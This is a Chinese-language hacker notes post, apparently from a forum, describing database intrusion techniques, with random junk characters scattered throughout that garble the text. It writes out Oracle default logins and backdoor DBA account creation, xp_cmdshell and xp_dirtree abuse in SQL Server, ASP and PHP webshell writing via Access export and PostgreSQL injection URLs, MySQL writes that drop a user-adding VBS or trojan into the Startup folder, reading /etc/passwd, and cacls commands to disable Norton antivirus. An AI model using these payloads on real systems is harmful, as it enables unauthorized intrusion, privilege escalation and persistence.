4 t9 B/ v1 ?' o" K2 a& }2 f! z, V9 j* j! {- _. z* h
) F! n. I/ r) H* |8 f( ^% t+ ?) n. y
. X7 |% f" }. l7 N# m# @3 g
程序代码, r2 d5 U, P, X+ \
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash 4 D2 ^: Q6 \1 t. B0 b ) h! z( A/ G2 S, D% `4 X设置为1,关闭LM Hash F: g4 m. R' @3 C' s
! I4 e/ } B- T$ X8 n" `+ d
数据库安全:入侵Oracle数据库常用操作命令+ x' N" d! A6 N8 m9 Z! h
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。 % z9 L& u" ~. A; I# U: `/ }1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。1 ~! u4 b: T, |
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;1 z. k q0 q% K6 @& ~9 N3 ?0 f- b
3、SQL>connect / as sysdba ;(as sysoper)或* Y9 B; v% v' n' d% i. [& H
connect internal/oracle AS SYSDBA ;(scott/tiger)! V! A: _/ B- L
conn sys/change_on_install as sysdba;. k. G8 { x- n. ]) h1 w1 y
4、SQL>startup; 启动数据库实例 1 E7 F/ W$ _" P& {: H" H: ?& h; U5、查看当前的所有数据库: select * from v$database; / n3 \+ [$ P+ |: }/ c9 D3 k, t. o: mselect name from v$database;1 c3 M2 ~! _2 A& {
6、desc v$databases; 查看数据库结构字段 / [5 w4 \# `, ~+ G" x: y7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:7 L# T" r) y/ L; c
SQL>select * from V_$PWFILE_USERS;- e7 b3 y5 s) K% U. M
Show user;查看当前数据库连接用户 ( E! r1 P4 v- t- \. }: H8、进入test数据库:database test;" N4 W; D3 r/ @# k" w1 ]7 Q
9、查看所有的数据库实例:select * from v$instance;3 A _* U3 U G- a$ m1 K
如:ora9i ( D8 ~# [2 G9 O" U1 L( h* ?3 B5 G8 x10、查看当前库的所有数据表: 2 ^/ w3 S( H7 H7 e$ }$ D" z" ISQL> select TABLE_NAME from all_tables; & a; Z7 J6 E; h3 lselect * from all_tables;+ B* F5 H: j' S0 {
SQL> select table_name from all_tables where table_name like '%u%';3 A* z0 Q6 J" i' w
TABLE_NAME% L- t' J5 D$ L% A+ e9 _
------------------------------ % F; H) Q* z) d% n& v5 c7 W! I* h8 v_default_auditing_options_2 I2 k" V" Q8 c. G! U
11、查看表结构:desc all_tables;/ A( X: w- j! o) a9 ^3 U8 C
12、显示CQI.T_BBS_XUSER的所有字段结构:$ l+ u7 K; e% F) M! z3 ^' S
desc CQI.T_BBS_XUSER; / t& s9 d9 f# q. c3 z13、获得CQI.T_BBS_XUSER表中的记录: 0 a' }' U1 R) C O [2 kselect * from CQI.T_BBS_XUSER; / B+ O. n' x+ \/ ?/ q14、增加数据库用户:(test11/test) & a0 F; y% J2 M8 [4 `create user test11 identified by test default tablespace users Temporary TABLESPACE Temp; , L6 L, ?( X( a3 [7 f; l15、用户授权: 8 N8 {+ d) m3 E- j7 R+ f# z' } Kgrant connect,resource,dba to test11;7 U( s- M4 O& o+ _2 g( }) ~1 M
grant sysdba to test11;" P! Y% N, B. I. p& k
commit;6 i& K9 B0 O4 G$ g, }
16、更改数据库用户的密码:(将sys与system的密码改为test.) 9 Q1 [! Q$ Y" u/ w( I6 ^4 {alter user sys indentified by test;! T# Y" Z- P/ n0 c6 w9 O) ^
alter user system indentified by test;- n( w* N) X7 ?- H7 K# y9 ~
4 {: T+ D8 q [+ sapplicationContext-util.xml/ ]; `' I C1 k- e* y
applicationContext.xml , ?6 Y5 V# b: x8 L1 q" wstruts-config.xml - Y: B- |/ C, @9 p' lweb.xml 6 j- n l. ]! D, w" t. u8 _server.xml , O0 q% O$ G1 B4 a3 L: x2 N6 ktomcat-users.xml' F9 ?! |) c% _5 ?+ z
hibernate.cfg.xml% S' Q$ Z1 A$ P3 v" @6 s+ l* S, g
database_pool_config.xml5 I% W8 I/ \, H3 J( e# k
8 d7 j' _' o2 ` ; [" z) X% \ t* c\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置 / `' d2 T" `( o' z c0 l* U\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini # ?( l( Y. M+ a# K r/ J\WEB-INF\struts-config.xml 文件目录结构 ( `4 c2 o1 e# b) _4 f0 n9 y 4 X! r! o1 g' _" n( q3 |) V; Gspring.properties 里边包含hibernate.cfg.xml的名称 8 T: T( M5 c7 M' ^/ k7 K# g& |% T- X! U& u. h& ^0 ]
# Q4 K+ r2 Q) S2 z6 S. i# P
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml 5 X# k2 a4 r. z4 Z) O, G! N" K : ?: R5 V3 G8 w; U如果都找不到 那就看看class文件吧。。 9 ?8 q* \+ X$ {0 p5 f! |6 a ) A9 [0 \4 `; Q5 I测试1: 0 x, l. V1 Z1 kSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1 ) ~9 Y5 \. B' d$ {3 A! l9 f r. [3 U& j2 \/ a w
测试2:+ w3 f* S6 n7 a6 G- I8 \$ L
+ F* T( @/ j/ @2 f( `* B% }* ]8 r/ G
create table dirs(paths varchar(100),paths1 varchar(100), id int) . b- y. G! d) ]2 j( L2 Z `+ u& x2 e; P
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--5 C+ N' F% j X
7 x. c9 B3 {' s, R+ ^" xSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1 / [9 |, [# `2 N" d3 d/ r$ L. K# V* J
查看虚拟机中的共享文件:8 z" ?+ c7 M5 P/ p6 o
在虚拟机中的cmd中执行/ W2 g4 @% A: G# e$ ^6 Z
\\.host\Shared Folders ! A( B% S! P( A, \5 a5 p2 c0 C: j& { c# P, w6 ~
cmdshell下找终端的技巧/ _* m2 y, H: P |1 W6 N4 k) u
找终端: ' Z* k% K/ l/ k% F0 L; \第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! 5 C: b V0 z1 s7 K
而终端所对应的服务名为:TermService & x1 y4 U# G0 V! ^8 ?
第二步:用netstat -ano命令,列出所有端口对应的PID值! ' E8 D( o, z, n' l 找到PID值所对应的端口; E7 Y& @0 g G% u1 P
- f8 Z0 m% J$ g E1 u% H4 f3 Y
查询sql server 2005中的密码hash# ?, |; V2 @" {5 @7 t# l' h
SELECT password_hash FROM sys.sql_logins where name='sa' / T9 {; g& v6 ~! e3 ESELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a $ |3 X- d6 x) {( Laccess中导出shell 9 p# V( n+ i. R `) R 8 I- V$ E8 J% K! [中文版本操作系统中针对mysql添加用户完整代码: ( A. s7 j* B. j) ]4 H, S8 [. @7 W2 z/ g/ \9 k9 m) x2 G" B3 V
use test;9 b3 B$ N. g6 [4 j( R" M6 \
create table a (cmd text); 0 J$ S; s& U- g% @3 Qinsert into a values ("set wshshell=createobject (""wscript.shell"") " );7 `. ^ v+ f( S
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " ); 0 |" b" y2 E, v' I$ _9 Winsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );3 ]" x1 J& }. T# o" ~( Y7 ?& i
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";0 r6 B( W* r+ _" K9 h
drop table a;4 _/ W: S- a" F1 Y0 G
# s) }+ o; l. C0 N( ?6 k4 a: V7 ?1 M
英文版本:- V/ P! X2 W5 g! Q0 V) B
$ n( M2 Q1 f9 q' V2 c
use test;1 R: L: i l C7 Y l
create table a (cmd text); . Z7 M0 U2 \8 }# A: E# pinsert into a values ("set wshshell=createobject (""wscript.shell"") " ); 9 ^; s- e) F0 g2 B7 g4 @1 Binsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );6 E, k5 [# W. f0 U O
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); / A. N7 I3 k6 B M7 r* ^select * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs"; ! t. N- I) U0 Hdrop table a;# y8 y0 V3 }% D) @& g+ G2 k* K
. h2 P5 n. F" @2 \
create table a (cmd BLOB); 1 [' J$ J* }1 {insert into a values (CONVERT(木马的16进制代码,CHAR)); 6 Y1 [/ T' z$ Z- {6 Y5 Aselect * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'7 p' i0 {& U; u: w
drop table a;+ F% }4 b* t; P! ^" N' b$ x7 T
; ~, D# U9 T% g! Z7 l* h9 c, I. D记录一下怎么处理变态诺顿, o. v% _6 V9 [, Q( s
查看诺顿服务的路径2 z6 J& Y5 E( t+ }0 t( Z6 @
sc qc ccSetMgr [5 u4 ^# o1 _( I* l
然后设置权限拒绝访问。做绝一点。。 5 w4 W" R0 _+ V' a7 a# bcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system: Y% ^3 S i5 t& r0 g+ K- q
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"& O! i* c* H% ]3 A* d- L9 {! w
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators4 ^/ v# t! P5 w+ w9 t8 T5 n
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone 2 y' W) P; v k; e9 p ( Z" D4 t5 J) \- `3 }9 @. ^" k然后再重启服务器( k# m6 B, ~: l' y0 N7 h
iisreset /reboot 2 [! Z4 V3 f3 a `+ \这样就搞定了。。不过完事后。记得恢复权限。。。。 + V5 v8 m, g) Icacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F 4 f+ t* ~! ]. M, c/ Ncacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F! u2 H: ^4 n; w& `) J( ~* \7 h
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F3 r% e' V4 ?, Q" \: ?0 M
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F 2 v/ T& n: l2 FSELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin 7 r# k: K' }+ M' p; ?& D: W : g) @" w) Q0 T$ r. cEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''') k {; [. Z. f! I- N/ j8 l' U
! g- ^5 S1 D: j3 f$ `# ]
postgresql注射的一些东西 5 T$ T \% B; t3 ~如何获得webshell 6 F' P ?/ W; g3 \" e5 jhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); # [6 _% H1 Q( g. F# s! F( ? http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); $ }; y9 {6 |1 H1 J9 m, Xhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$; ; [$ H* X+ A/ H如何读文件! ^- [; `. T% U/ b: P http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT); 6 d: a2 @' ~6 Nhttp://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’; ; ` X8 T. \7 R; i% vhttp://127.0.0.1/postgresql.php?id=1;select * from myfile;. V: ?' V+ b, V O. } i3 s: L) v7 B
9 V) G3 [" p; ?/ Bz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。 * I# [: R% _" b# v$ F* R当然,这些的postgresql的数据库版本必须大于8.X5 c* E8 w) i9 G8 ~3 [
创建一个system的函数: / j! n! b" i2 [! qCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT. n7 h1 {0 F, L2 {6 l! Z' u